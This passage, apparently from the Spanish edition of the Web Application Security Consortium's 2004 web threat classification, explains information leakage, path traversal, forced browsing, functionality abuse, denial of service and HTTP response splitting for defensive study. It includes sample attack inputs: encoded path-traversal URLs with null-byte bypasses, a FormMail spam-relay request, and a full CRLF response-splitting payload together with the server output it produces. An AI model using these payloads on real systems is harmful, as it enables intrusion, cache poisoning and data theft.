shareware.com/Internet.php?Theme=112 
 
Intrustion Prevention for Web 
http://www.modsecurity.org 
 
Search Engines as a Security Threat 
http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20
Engines%20as%20a%20Security%20Threat.pdf 
 
The Google Hacker's Guide 
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_
Guide_v1.0.pdf 
 

5.2 Fuga de información 
La fuga de información se produce cuando un sitio web revela datos 
sensibles, como comentarios del desarrollador o mensajes de error, 
que pueden ayudar a un atacante a explotar el sistema. La 
información sensible puede estar presente en comentarios HTML, 
mensajes de error, código fuente, o simplemente en una vista 
normal. Existen muchas formas en las que un sitio web puede ser 
engañado para revelar este tipo de información. Mientras la fuga no 
necesariamente representa una brecha en la seguridad, esto 
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realmente proporciona a un atacante una guía útil para su futura 
explotación. La fuga de información sensible puede alcanzar distintos 
niveles de riesgo y debe ser limitada siempre que sea posible. 
 
En el primer caso de fuga de información (comentarios en el código, 
mensajes de error, etc.) la fuga puede proporcionar inteligencia al 
atacante con información contextual de la estructura de directorio, 
estructura de la consulta SQL y los nombres de procesos clave 
utilizados por el sitio web. 
 
A menudo, un desarrollador dejará comentarios en el código script y 
HTML para proporcionar ayuda y facilitar las tareas de integración o 
resolución de problemas. Esta información puede implicar desde 
simples comentarios detallando como trabaja el script, hasta, en los 
peores casos, nombres de usuario y contraseñas utilizadas durante 
la fase de pruebas del desarrollo. 
 
La fuga de información también se aplica a datos considerados 
confidenciales, que no son correctamente protegidos por el sitio web. 
Estos datos pueden incluir números de cuenta, identificadores de 
usuario (número de carné de conducir,  número de pasaporte, 
número de la seguridad social, etc.) y datos específicos de usuario 
(datos bancarios, dirección, histórico de transacciones, etc.). La 
autenticación insuficiente, autorización insuficiente y el cifrado seguro 
de transporte también tratan la protección y el hacer cumplir los 
controles apropiados sobre el acceso a los datos. Muchos ataques 
caen fuera del ámbito de la protección de un sitio web como ataques 
contra el cliente, interés del “observador casual”. La fuga de 
información en este contexto trata de la exposición de datos clave de 
usuario considerados confidenciales o secretos que no deben ser 
expuestos a la vista de todos los usuarios. Los números de tarjeta de 
crédito son un ejemplo claro de datos de usuario que necesitan una 
protección mayor sobre su posible exposición o fuga incluso si se 
realizan un cifrado y unos controles de acceso adecuados.  
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Ejemplo 
Existen tres categorías principales de fuga de información: 
comentarios en el código, mensajes de error y datos confidenciales 
en vista simple. 
 
Comentarios en el código: 
 
<TABLE border="0" cellPadding="0" cellSpacing="0" 
height="59" width="591"> 
        <TBODY> 
           <TR> 
                <!--If the image files are missing, 
restart VADER --> 
                <TD bgColor="#ffffff" colSpan="5" 
height="17" width="587">&nbsp;</TD> 
            </TR> 
 
 
Aquí podemos ver un comentario escrito por el personal de 
desarrollo/QA indicando qué se debería hacer si los ficheros de 
imagen no se encuentran. La fuga de información es el nombre de la 
máquina en la que se encuentra el servidor y que se menciona de 
forma explícita en el código, "VADER". 
 
Un ejemplo en los mensajes de error puede ser la respuesta a una 
consulta no válida.  Un ejemplo claro es el mensaje de error asociado 
con las consultas SQL. Típicamente, los ataques de inyección de 
código SQL requieren que el atacante disponga de un conocimiento 
previo de la estructura o formato usado para crear las consultas SQL 
en el sitio. La fuga de información producida por los mensajes de 
error pueden proporcionar al atacante información crucial sobre 
como construir consultas SQL válidas contra la base de datos. 
 
Lo siguiente fue devuelto cuando se introdujo un apóstrofe en un 
campo “nombre de usuario” de una página de autenticación: 
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 Mensaje de error: 
 
An Error Has Occurred. 
Error Message: 
System.Data.OleDb.OleDbException: 
Syntax error  
(missing operator) in query expression 
'username = '''  
and password = 'g''. at 
System.Data.OleDb.OleDbCommand. 
ExecuteCommandTextErrorHandling ( 
Int32 hr) at  
System.Data.OleDb.OleDbCommand. 
ExecuteCommandTextForSingleResult ( 
tagDBPARAMS dbParams,  Object& 
executeResult) at  
 
 
En las primeras líneas del mensaje de error se informa de un error de 
sintaxis. El mensaje de error revela los parámetros que se utilizan en 
la consulta SQL: username y password. Esta fuga de información 
facilita la labor a un atacante para comenzar a construir ataques de 
inyección de código SQL contra el sitio. 
 
 
Referencias 
“Best practices with custom error pages in .Net”, Microsoft Support 
http://support.microsoft.com/default.aspx?scid=kb;en-us;834452 
  
“Creating Custom ASP Error Pages”, Microsoft Support 
http://support.microsoft.com/default.aspx?scid=kb;en-us;224070 
  
“Apache Custom Error Pages”, Code Style 
http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml 
  
“Customizing the Look of Error Messages in JSP”, DrewFalkman.com 
http://www.drewfalkman.com/resources/CustomErrorPages.cfm 
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ColdFusion Custom Error Pages 
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion
_MX_Applications_with_CFML/Errors6.htm 
 
Obfuscators : 
JAVA 
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf 
  

5.3 Path Traversal 
La técnica de ataque Path Traversal fuerza el acceso a ficheros, 
directorios y comandos que potencialmente residen fuera del 
directorio “document root” de la web. Un atacante puede manipular 
una URL de forma que el sitio web ejecutará o revelará el contenido 
de ficheros arbitrarios ubicados en cualquier lugar del servidor web. 
Cualquier dispositivo que expone un interfaz basada en HTTP es 
potencialmente vulnerable a Path Traversal. 
 
La mayor parte de sitios web restringen el acceso de los usuarios a 
una parte específica del sistema de ficheros, típicamente llamada 
directorio “web document root” o “CGI root”. Estos directorios 
contienen los ficheros esperados para el acceso de usuarios y los 
ejecutables necesarios para realizar la funcionalidad de la aplicación 
web. Para acceder a ficheros o ejecutar comandos en cualquier parte 
del sistema de ficheros, los ataques de Path Traversal utilizan la 
capacidad de las secuencias de caracteres especiales. 
 
El ataque Path Traversal más básico utiliza la secuencia de 
caracteres especiales “../” para alterar la ubicación del recurso 
solicitado en la URL. Aunque los servidores web más populares 
impiden a  esta técnica salir del directorio “web document root”, 
codificaciones alternativas de la secuencia “../” pueden ayudar a 
sobrepasar los filtros de seguridad. Estas variaciones de método 
incluyen codificación Unicode válida y no válida (“..%u2216” o 
“..%c0%af”) del caracter barra, contrabarra (“..\”) en servidores 
basados en Windows, codificación de caracteres en URL 
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(“%2e%2e%2f”), y doble codificación del carácter contrabarra 
(“..%255c”) en la URL.  
 
Incluso si el servidor web impide correctamente los intentos de Path 
Traversal en la URL, una aplicación web por sí misma puede ser aún 
vulnerable debido a un tratamiento incorrecto de los datos de entrada 
suministrados por el usuario. Esto es un problema común en las 
aplicaciones web que usan sistemas de plantillas o cargan texto 
estático desde ficheros. En variaciones de este ataque, el valor del 
parámetro de la URL original es sustituido con el nombre del fichero 
de uno de los scripts dinámicos de la aplicación web. Como 
consecuencia, el resultado puede revelar código fuente porque el 
fichero es interpretado como texto en lugar de un script ejecutable. 
Estas técnicas a menudo emplean caracteres especiales adicionales 
como el punto (“.”) para revelar el listado del directorio actual, o 
caracteres nulos “%00” con el fin de sobrepasar validaciones 
rudimentarias de extensiones de ficheros. 
 
 
Ejemplo 
 
Ataques de Path Traversal contra un servidor web 
Ataque: http://example/../../../../../some/file 
Ataque: http://example/..%255c..%255c..%255csome/file 
Ataque: http://example/..%u2216..%u2216some/file 
 
Ataques de Path Traversal contra una aplicación web 
Original: http://example/foo.cgi?home=index.htm 
Ataque: http://example/foo.cgi?home=foo.cgi 
 
En el ejemplo anterior, la aplicación web revela el código fuente del 
fichero foo.cgi porque el valor de la variable home es usado como 
contenido. Resaltar que en este caso el atacante no ha necesitado 
incluir caracteres inválidos o caracteres de path traversal para que el 
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ataque tenga éxito. El atacante ha seleccionado como objetivo otro 
fichero que se encuentra en el mismo directorio que index.htm. 
 
Ataques de Path Traversal contra una aplicación web usando 
secuencias de caracteres especiales: 
Original: http://example/scripts/foo.cgi?page=menu.txt 
Ataque: 
http://example/scripts/foo.cgi?page=../scripts/foo.
cgi%00txt 
 
En el ejemplo anterior, la aplicación web revela el código fuente del 
fichero foo.cgi usando secuencias de caracteres especiales. La 
secuencia “../” ha sido usada para saltar atrás un directorio y entrar 
en el directorio /scripts. La secuencia “%00” ha sido utilizada tanto 
para sobrepasar el chequeo de extensión de fichero como para 
eliminar la extensión cuando el fichero es leído. 
 
Referencias 
“CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in 
IIS” 
http://www.cert.org/advisories/CA-2001-12.html 
 
“Novell Groupwise Arbitrary File Retrieval Vulnerability” 
http://www.securityfocus.com/bid/3436/info/ 
 
 

5.4 Localización de recursos predecibles  
La ubicación de recursos predecibles es una técnica de ataque 
usada para descubrir contenidos y funcionalidades ocultas de un sitio 
web. 
 
A partir de suposiciones, el ataque es una búsqueda por fuerza bruta 
de contenido que no se espera ser visto públicamente. Ficheros 
temporales, ficheros de copias de seguridad, ficheros de 
configuración y ficheros de ejemplo son, todos ellos, ejemplos de 
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ficheros que potencialmente sobrarían. Estas búsquedas por fuerza 
bruta resultan fáciles ya que los ficheros ocultos generalmente 
suelen seguir convenciones de nombre comunes y residen en 
ubicaciones estándar. Estos ficheros pueden revelar información 
sensible sobre aplicaciones web internas, información de bases de 
datos, contraseñas, nombres de máquinas, rutas de ficheros u otras 
áreas sensibles, o sufrir posiblemente vulnerabilidades. La revelación 
de esta información es de gran valor para un atacante. 
 
La localización de recursos predecibles también es conocida como 
navegación forzada, enumeración de ficheros, enumeración de 
directorios, etc. 
 
 
Ejemplo 
Cualquier atacante puede crear peticiones sobre ficheros o 
directorios arbitrarios en cualquier servidor web público. La existencia 
de un recurso puede ser determinada analizando los códigos de 
respuesta HTTP  que devuelve el servidor web. Existen distintas 
variaciones del ataque de ubicación de recursos predecibles:  
 
Búsquedas ciegas de ficheros y directorios comunes 
/admin/ 
/backup/ 
/logs/ 
/vulnerable_file.cgi 
 
Adición de extensiones a nombres de ficheros existentes: (/test.asp) 
/test.asp.bak 
/test.bak 
/test 
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6  A t a q u e s  l ó g i c o s  
El capítulo “Ataques lógicos” se centra en el abuso o explotación del 
flujo lógico de una aplicación web. La lógica de la aplicación es el 
flujo de procedimientos esperados para realizar una cierta acción. 
Recuperación de contraseñas, alta de una cuenta, puja en subastas, 
y compras en comercios electrónicos son, todos ellos, ejemplos de 
lógica de aplicación. Un sitio web puede requerir a un usuario un 
proceso específico de varios pasos para completar una acción 
particular. Un atacante puede ser capaz de burlar o abusar de esas 
características para dañar un sitio web y a sus usuarios. 
 

6.1 Abuso de funcionalidad 
El abuso de funcionalidad es una técnica de ataque que usa las 
propias características y funcionalidad de un sitio web para consumir, 
defraudar, o burlar los mecanismos de control de acceso. Una 
funcionalidad de un sitio web, incluso posiblemente características de 
seguridad, puede ser abusada para causar un comportamiento 
inesperado. Cuando una parte de la funcionalidad se encuentra 
abierta al abuso, un atacante podría potencialmente molestar a otros 
usuarios o quizás llevar a cabo un fraude sobre el sistema completo. 
El potencial y el nivel de abuso variará de un sitio web a otro y de 
una aplicación a otra. 
 
Las técnicas de abuso de funcionalidad a menudo son entrelazadas 
con otras categorías de ataques de aplicación web, tales como la 
realización de un ataque de codificación para introducir una cadena 
de consulta que convierta una función de búsqueda web en un proxy 
web remoto. Los ataques de abuso de funcionalidad son también 
usados comúnmente como una fuerza multiplicadora. Por ejemplo, 
un atacante puede inyectar un fragmento de Cross-site Scripting  en 
una sesión de chat web y entonces usar la función interna de envío 
para propagar el código malicioso a través del sitio.  
  
De una manera genérica, todos los ataques efectuados contra 
sistemas basados en ordenador implican casos de abuso de 
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funcionalidad. Específicamente, esta definición describe un ataque 
que ha convertido una aplicación web con un propósito útil en un 
propósito malicioso con poca o ninguna modificación de la función 
original. 
 
 
Ejemplo 
Ejemplos de abuso de funcionalidad incluyen: a) Usar la función de 
búsqueda de un sitio web para acceder a archivos restringidos fuera 
del directorio web, b) Engañar a un subsistema de subida de 
archivos para reemplazar archivos críticos de configuraciónes 
internas, y c) Realizar una denegación de servicio inundando un 
sistema de autenticación web con nombres de usuario correctos y 
contraseñas erróneas para bloquear a los usuarios legítimos cuando 
los intentos de autenticación permitidos exceden el límite. Otros 
ejemplos del mundo real, se describen a continuación. 
 
 
Matt Wright FormMail 
La aplicación web basada en Perl "FormMail" normalmente se usaba 
para transmitir los datos de un formulario, cumplimentado por el 
usuario, a una dirección de correo predefinida. El script ofrecía una 
solución de fácil uso para que un sitio web consiguiera feedbacks. 
Por esta razón el script FormMail era uno de los más populares 
programas CGI on line. Desafortunadamente, este mismo grado de 
utilidad y facilidad de uso era abusado por atacantes remotos para 
enviar correos electrónicos a cualquier destino remoto. Es más, esta 
aplicación web se transformó en un motor de spam-relay con una 
simple petición web del navegador.  
 
Un atacante únicamente tenía que modificar una URL para que 
facilitara los parámetros deseados de la dirección de correo 
electrónico y realizar una petición HTTP GET al CGI, tal como: 
http://example/cgi-bin/FormMail.pl? recipient= 
email@victim.example&message= you%20got%20spam 
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Se generaría un correo electrónico, con el servidor web actuando 
como el que envía, permitiendo al atacante ocultarse a través de la 
aplicación web actuando como proxy. Dado que no existían 
mecanismos de seguridad para esta versión del script, la única 
medida de defensa viable era reescribir el script con una dirección de 
correo fijada en el código. Con esto, los sitios se veían forzados a 
borrar o reemplazar la aplicación web completa. 
 
Macromedia's Cold Fusion 
Algunas veces las herramientas de administración básicas van 
embebidas  en aplicaciones web que puede ser facilmente usadas 
para propósitos no intencionados. Por ejemplo, Macromedia's Cold 
Fusion por defecto tiene un módulo  insertado  para ver el código 
fuente  que es universalmente accesible. El abuso de este módulo 
puede resultar en una fuga de información crítica de la aplicación 
web. A menudo estos tipos de módulos no son simples ficheros o 
funciones extrañas, sino componentes críticos del sistema. Esto crea 
que la deshabilitación de estas funciones sea problemática, ya que 
estan pensadas para los sistemas de aplicación web.  
 
Modificación del precio de un carro de la compra Smartwin 
CyberOffice 
El abuso de funcionalidad se realiza cuando un atacante altera los 
datos en un paso no previsto para modificar el comportamiento de la 
aplicación web. Por ejemplo, el carro de la compra CyberOffice 
puede ser abusado cambiando el campo oculto del precio en el 
formulario web. La página web es descargada normalmente, editada 
y entonces se reenvía con los precios configurados con cualquier 
valor deseado. 
 
 
Referencias 
“FormMail Real Name/Email Address CGI Variable Spamming 
Vulnerability” 
http://www.securityfocus.com/bid/3955 
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“CVE-1999-0800” 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800 
 
“CA Unicenter pdmcgi.exe View Arbitrary File” 
http://www.osvdb.org/displayvuln.php?osvdb_id=3247 
 
“PeopleSoft PeopleBooks Search CGI Flaw” 
http://www.osvdb.org/displayvuln.php?osvdb_id=2815 
 
“iisCART2000 Upload Vulnerability” 
http://secunia.com/advisories/8927/ 
 
“PROTEGO Security Advisory #PSA200401” 
http://www.protego.dk/advisories/200401.html 
 
“Price modification possible in CyberOffice Shopping Cart” 
http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html 
 
 

6.2 Denegación de servicio 
La denegación de servicio (DoS) es una técnica de ataque con la 
intención de impedir que un sitio sirva la actividad habitual a los 
usuarios. Los ataques DoS, que resultan fácilmente aplicables en la 
capa de red, son también posibles en la capa de aplicación. Estos 
ataques maliciosos pueden ocurrir privando a un sistema de recursos 
críticos, explotando vulnerabilidades o mediante un abuso de 
funcionalidad. 
 
Muchas veces los ataques DoS intentarán consumir todos los 
recursos disponibles del sistema tales como: CPU, memoria, espacio 
de disco, etc. Cuando uno de esos recursos alcance un consumo 
máximo, el sitio web normalmente pasará a estar inaccesible. 
 
Hoy en día, todos los entornos de aplicación web incluyen un 
servidor web, servidor de base de datos y un servidor de 
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autenticación. Un ataque DoS en la capa de aplicación puede tener 
como objetivo a cada uno de esos componentes independientes. A 
diferencia de un ataque DoS en la capa de red, donde se requieren 
un gran número de intentos de conexión, el ataque DoS en la capa 
de aplicación es una tarea mucho más simple de realizar. 
 
 
Ejemplo 
Imaginemos un sitio web de servicio médico que genera un informe 
con el historial médico. Por cada petición de informe, el sitio web 
realiza una consulta a la base de datos para conseguir todos los 
campos que coinciden con un número de la seguridad social. Dado 
que cientos de miles de campos se almacenan en la base de datos 
(para todos los usuarios) el usuario necesitará esperar tres minutos 
para conseguir su informe de la historia médica. Durante esos tres 
minutos de tiempo la CPU del servidor de la base de datos alcanza 
un 60% de utilización mientras busca la coincidencia de campos. 
 
Un ataque DoS común en la capa de aplicación, enviará 10 
peticiones simultáneas preguntando para generar un informe de 
historial médico. Estas peticiones seguramente dejarán el sitio web 
bajo una condición de ataque DoS en cuanto la CPU del servidor de 
la base de datos alcance el 100% de uso. En este punto, el sistema 
estará inaccesible para cualquier actividad normal de usuario. 
 
Ataque DoS contra un usuario específico 
Un intruso intentará repetidamente intentar validarse en un sitio web 
como algún usuario, haciéndolo a propósito con una contraseña 
inválida. Este proceso eventualmente bloqueará al usuario legítimo. 
 
Ataque DoS contra un servidor de Base de Datos 
Un intruso usará técnicas de inyección de código SQL para modificar 
la base de datos y provocar que el sistema se vuelva inutilizable (por 
ejemplo, borrando todos los datos, borrando nombres de usuario, 
etc.) 
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Ataque DoS contra un servidor web 
Un intruso usará técnicas de desbordamiento de buffer para enviar 
una petición especialmente construida para que cuelgue los 
procesos del servidor web y el sistema normalmente se volverá 
inaccesible para la actividad normal de los usuarios. 
 

6.3 Anti-automatización insuficiente 
La anti-automatización insuficiente se produce cuando un sitio web 
permite a un atacante automatizar un proceso que sólo debería 
llevarse a cabo de forma manual. Ciertas funcionalidades de sitios 
web deberían ser protegidas contra ataques automáticos. 
 
No validando esto, robots automáticos (programas) o atacantes 
podrían repetidamente intentar explotar o engañar el sistema. Un 
robot automático  potencialmente podría ejecutar miles de peticiones 
por minuto, causando pérdida de potencia o del rendimiento del 
servicio. 
 
Por ejemplo un robot automatizado, no debería ser capaz de validar 
diez mil nuevas cuentas en unos pocos minutos. Similarmente, 
robots automatizados no deberían ser capaz de molestar a otros 
usuarios con mensajes repetidos en foros. Estas operaciones 
deberían estar limitadas sólo para el uso humano. 
 
 
Referencias 
Telling Humans Apart (Automatically) 
http://www.captcha.net/ 
 
“Ravaged by Robots!”, By Randal L. Schwartz 
http://www.webtechniques.com/archives/2001/12/perl/ 
 
“.Net Components Make Visual Verification Easier”, By JingDong 
(Jordan) Zhang 
http://go.cadwire.net/?3870,3,1 
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“Vorras Antibot” 
http://www.vorras.com/products/antibot/ 
 
“Inaccessibility of Visually-Oriented Anti-Robot Tests” 
http://www.w3.org/TR/2003/WD-turingtest-20031105/ 
 

6.4 Validación de proceso insuficiente 
La validación de proceso insuficiente se produce cuando un sitio web 
permite a un atacante saltar o evadir el flujo de control previsto de 
una aplicación. Si el estado de un usuario a través de un proceso, no 
es verificado ni reforzado, el sitio web podría ser vulnerable a la 
explotación o el engaño. 
 
Cuando un usuario realiza una cierta función de un sitio web, la 
aplicación puede esperar a que el usuario navegue a través de ella 
en un orden de secuencia específico. Si el usuario realiza ciertos 
pasos incorrectamente o fuera del orden establecido, puede ocurrir 
un error en la integridad de los datos. Ejemplos de procesos multi-
paso incluyen transferencia por cable, recuperación de contraseñas, 
validación de compras, alta de cuentas, etc. Estos procesos 
requerirán que ciertos pasos se lleven a cabo tal y como se esperan. 
 
Para que los procesos multi-paso funcionen apropiadamente, a los 
sitios web se les requiere mantener el estado del usuario, y como 
navega este a través de los flujos del proceso. Los sitios web 
normalmente indican el estado del usuario a través del uso de 
cookies o campos ocultos de formulario. Sin embargo cuando el 
identificador es almacenado en la parte cliente dentro del navegador 
web, la integridad de los datos debe ser verificada. Si no, un atacante 
podría ser capaz de sortear el esperado flujo del tráfico alterando el 
estado actual. 
 
Ejemplo 
Un sistema online de carro de la compra puede ofrecer al usuario un 
descuento si el producto A es comprado. El usuario puede no querer 
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comprar el producto A pero sí el producto B. Rellenando el carro de 
la compra con el producto A y el producto B, y entrando en el 
proceso de validación, el usuario obtiene el descuento. El usuario 
entonces retrocede a través del proceso de validación, y borra el 
producto A. O simplemente altera los valores antes de pasar al 
siguiente paso. El usuario entonces entra de nuevo en el proceso de 
validación, manteniendo el descuento ya realizado en el proceso 
previo con el producto A en el carro de la compra, y consigue un  
precio de compra fraudulento. 
 
 
Referencias 
“Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil 
Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer 
Science 
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf  
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Contacto 
 
Web Application Security Consortium 
http://www.webappsec.org 
 
Para preguntas de carácter general, enviar un correo electrónico a la 
siguiente dirección: contact@webappsec.org 
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Apéndice 
 
Existen tantas técnicas de ataque a la seguridad de las aplicaciones 
web que somos incapaces de clasificarlas en este momento. En el 
apéndice, hay documentación resumida que describe alguna de 
estas metodologías. Estas cuestiones serán tratadas de forma 
sistemática en la versión 2 de la Clasificación de Amenazas. 
 

1.1 División de respuesta HTTP  
 
En el ataque de división de respuesta HTTP, siempre existen tres 
partes (como mínimo) involucradas: 
 

• Servidor web - que tiene un agujero de seguridad que permite 
la división de respuesta HTTP  

• Objetivo – una entidad que interactúa con el servidor web en 
nombre del atacante. Típicamente esto es un servidor de caché 
(proxy o proxy inverso), o un navegador (posiblemente con una 
caché de navegación). 

• Atacante  – inicia el ataque 
 
La esencia de la división de respuesta HTTP es la capacidad del 
atacante de enviar una única petición HTTP que fuerza al servidor 
web a formar una cadena de salida que es interpretada por el 
objetivo como dos respuestas HTTP en lugar de una única 
respuesta, en el caso normal. La primera respuesta puede ser 
parcialmente controlada por el atacante, pero esto es menos 
importante. Lo que realmente importa es que el atacante controla 
completamente la forma de la segunda respuesta desde la línea de 
estado HTTP hasta el último byte del cuerpo de la respuesta HTTP. 
Una vez que esto es posible, el atacante lleva a cabo el ataque 
enviando dos peticiones al objetivo. La primera de ellas provoca dos 
respuestas del servidor web, y la segunda petición típicamente sería 
sobre un recurso “inocente” del servidor web. Sin embargo, la 
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segunda petición sería emparejada, por el objetivo, con la segunda 
respuesta HTTP, que es totalmente controlada por el atacante. El 
atacante, por lo tanto, engaña al objetivo haciéndole creer que un 
recurso particular del servidor web (especificado por la segunda 
petición) es la respuesta HTTP del servidor (contenido del servidor), 
cuando esto es en realidad algunos datos, que son falseados por el 
atacante a través del servidor web – esta es la segunda respuesta. 
 
Los ataques de división de respuesta HTTP tienen lugar donde el 
script de servidor contiene datos de usuario en las cabeceras de la 
respuesta HTTP. Esto ocurre típicamente cuando el script contiene  
datos de usuario en la URL de redirección de una respuesta de 
redirección (código de estado HTTP 3xx), o cuando el script contiene 
datos de usuario en el valor o nombre de una cookie cuando la 
respuesta pone una cookie. 
 
En el primer caso, la URL de redirección es parte de la cabecera 
Location de la respuesta HTTP, y en el segundo caso de asignación 
de la cookie, el nombre/valor de la cookie es parte de la cabecera 
Set-Cookie de la respuesta HTTP. 
 
La esencia del ataque es la inyección de caracteres CR (retorno de 
carro) y LF (salto de linea) de manera que un segundo mensaje 
HTTP es formado donde sólo uno fue planificado por la aplicación. 
La inyección de CRLF es un método usado por otros diversos 
ataques que cambian los datos de una única respuesta HTTP 
enviada por la aplicación (por ejemplo [2]), pero en este caso, el 
papel de CRLF es ligeramente diferente – se propone para terminar 
el primer mensaje (planificado) de respuesta HTTP, y formar otro 
mensaje (totalmente controlado por el atacante y totalmente 
inesperado por la aplicación) de respuesta HTTP (de ahí el nombre 
del ataque).  
 
Esta inyección es posible si la aplicación (que se ejecuta sobre el 
servidor web) contiene datos de usuario no validados en una 
redirección, asignación de una cookie o cualquier otra manera que 
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eventualmente cause que datos de usuario formen parte de las 
cabeceras de respuesta HTTP. 
 
Con la división de respuesta HTTP, es posible montar varias clases 
de ataque: 

• Cross-site Scripting (XSS): Hasta ahora, ha sido imposible 
montar ataques de XSS en sitios a través de un script de 
redirección cuando el cliente utiliza IE a no ser que todas las 
cabeceras Location puedan ser controladas. Este ataque hace 
esto posible. 

• Envenenamiento de la caché web (desfiguración): Este es un 
ataque nuevo. El atacante simplemente fuerza al objetivo (es 
decir, el servidor caché de alguna clase – el ataque ha sido 
verificado en Squid 2.4, NetCache 5.2, Apache Proxy 2.0 y 
algunos otros servidores caché) a guardar la segunda 
respuesta como respuesta a la segunda petición. Un ejemplo es 
enviar una segunda petición a “http://web.site/index.html”, y 
forzar al objetivo (servidor caché) a almacenar la segunda 
respuesta que es totalmente controlada por el atacante. Esto es 
efectivamente una desfiguración del sitio web, como mínimo así 
es como lo experimentan los otros clientes que usan el mismo 
servidor caché. Desde luego, además de la desfiguración, un 
atacante puede robar cookies de sesión, o “fijar” estas a un 
valor predeterminado. 

• Ataques Cross User (usuario único, página única, desfiguración 
temporal): Como variante del ataque, es posible para el 
atacante no enviar la segunda petición. Esto parece impar al 
principio, pero la idea es que, en algunos casos, el objetivo 
puede compartir la misma conexión TCP con el servidor, entre 
varios usuarios (este es el caso de algunos servidores caché). 
El siguiente usuario que envíe una petición al servidor web a 
través del objetivo será servido por el objetivo con la segunda 
respuesta que había generado el atacante. El resultado final 
consiste en tener a un cliente del sitio web siendo servido con 
un recurso controlado por el atacante. Esto permite al atacante 
“desfigurar” el sitio para una única página solicitada por un 
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único usuario (una desfiguración local o temporal). De forma 
parecida al caso anterior, además de la desfiguración, el 
atacante puede robar cookies de sesión y/o modificarlas. 

• Secuestro de páginas con información específica de usuario: 
Con este ataque, es posible para el atacante recibir la 
respuesta del servidor a una petición de usuario en lugar del 
usuario. Por lo tanto, el atacante gana acceso a información 
específica del usuario que puede ser sensible y confidencial. 

• Envenenamiento de la caché del navegador: Este es un caso 
especial de “Envenenamiento de la caché web” (verificado en IE 
6.0). Es algo similar a XSS en el sentido que en ambos el 
atacante necesita a clientes individuales como objetivo. Sin 
embargo, al contrario que en XSS, tiene un efecto duradero 
porque el recurso suplantado permanece en la caché del 
navegador. 

 
 
Ejemplo 
Considere la siguiente página JSP (asuma que se encuentra en 
/redir_lang.jsp): 
 
<%  
response.sendRedirect("/by_lang.jsp?lang="+ 
request.getParameter("lang"));  
%> 
 
Cuando se invoca /redir_lang.jsp con un parámetro 
lang=English le redireccionará a by_lang.jsp?lang=English.  
Una respuesta típica se muestra a continuación (el servidor web es 
BEA WebLogic 8.1 SP1 – ver apartado “Entorno de Laboratorio” en 
[1] para información detallada sobre este servidor): 
 
HTTP/1.1 302 Moved Temporarily 
Date: Wed, 24 Dec 2003 12:53:28 GMT 
Location: http://10.1.1.1/by_lang.jsp?lang=English 
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 
23:06:40 PDT 2003 271009 with 
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Content-Type: text/html 
Set-Cookie: 
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoH
Z62RXjApqwBE!-1251019693; path=/ 
Connection: Close 
 
 
<html><head><title>302 Moved 
Temporarily</title></head> 
<body bgcolor="#FFFFFF"> 
<p>This document you requested has moved 
temporarily.</p> 
<p>It's now at <a 
href="http://10.1.1.1/by_lang.jsp?lang=English">htt
p://10.1.1.1/by_lang.jsp?lang=English</a>.</p> 
</body></html> 
 
Como se puede ver, el parámetro lang es embebido en la cabecera 
Location de la respuesta.  
 
Ahora, seguimos montando un ataque de división de respuesta 
HTTP. En lugar de enviar el valor English, envaimos un valor que 
hace uso de secuencias CRLF codificadas en la URL para terminar 
la respuesta en curso, y formar una adicional. A continuación se 
muestra como se lleva esto a cabo: 
 
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCon
tent-Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html> 
 
Esto causa el siguiente flujo de salida, enviado por el servidor web 
sobre la conexión TCP: 
 
HTTP/1.1 302 Moved Temporarily 
Date: Wed, 24 Dec 2003 15:26:41 GMT 
Location: http://10.1.1.1/by_lang.jsp?lang=foobar 
Content-Length: 0 
 
HTTP/1.1 200 OK 



 

74 
Copyright 2004, Web Application Security Consortium. All rights reserved.  

Content-Type: text/html 
Content-Length: 19 
 
<html>Shazam</html> 
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 
23:06:40 PDT 2003 271009 with 
Content-Type: text/html 
Set-Cookie: 
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7I
n7IyrCST9UsS!-1251019693; path=/ 
[...] 
 
Aclaración: este flujo TCP será analizado por el objetivo como sigue: 
Una primera respuesta HTTP, que es una respuesta 302 
(redirección). Esta respuesta está coloreada de azul.  
Una segunda respuesta HTTP, que es una repuesta 200, con un 
contenido de 19 bytes de HTML. Esta respuesta está coloreada de 
rojo. 
Datos superfluos – todo lo que se encuentra más allá del final de la 
segunda respuesta es superfluo y no cumple el estándar HTTP. 
 
Cuando el atacante alimenta el objetivo con dos peticiones, la 
primera forma la URL 
 
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCon
tent-Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>  
 
Y la segunda la URL 
 
/index.html  
 
El objetivo creería que la primera petición es emparejada con la 
primera respuesta: 
 
HTTP/1.1 302 Moved Temporarily 
Date: Wed, 24 Dec 2003 15:26:41 GMT 
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Location: http://10.1.1.1/by_lang.jsp?lang=foobar 
Content-Length: 0 
 
Y la segunda petición (a /index.html) es emparejada con la segunda 
respuesta: 
 
HTTP/1.1 200 OK 
Content-Type: text/html 
Content-Length: 19 
 
<html>Shazam</html> 
 
Y por esto, el atacante logra engañar al objetivo.  
 
Ahora, este ejemplo particular es bastante ingenuo, como es 
explicado en [1]. No tiene en cuenta algunos problemas como la 
forma en la que los objetivos analizan el flujo TCP, consideraciones 
sobre los datos superfluos, problemas con la inyección de datos y 
como forzar caching. Esto, y más, se discute en [1], bajo los 
apartados “consideraciones prácticas”. 
 
 
Solución 
Validar las entradas. Eliminar los caracteres CR y LF (y todos los 
otros caracteres arriesgados) antes de fijar datos en cualquiera de 
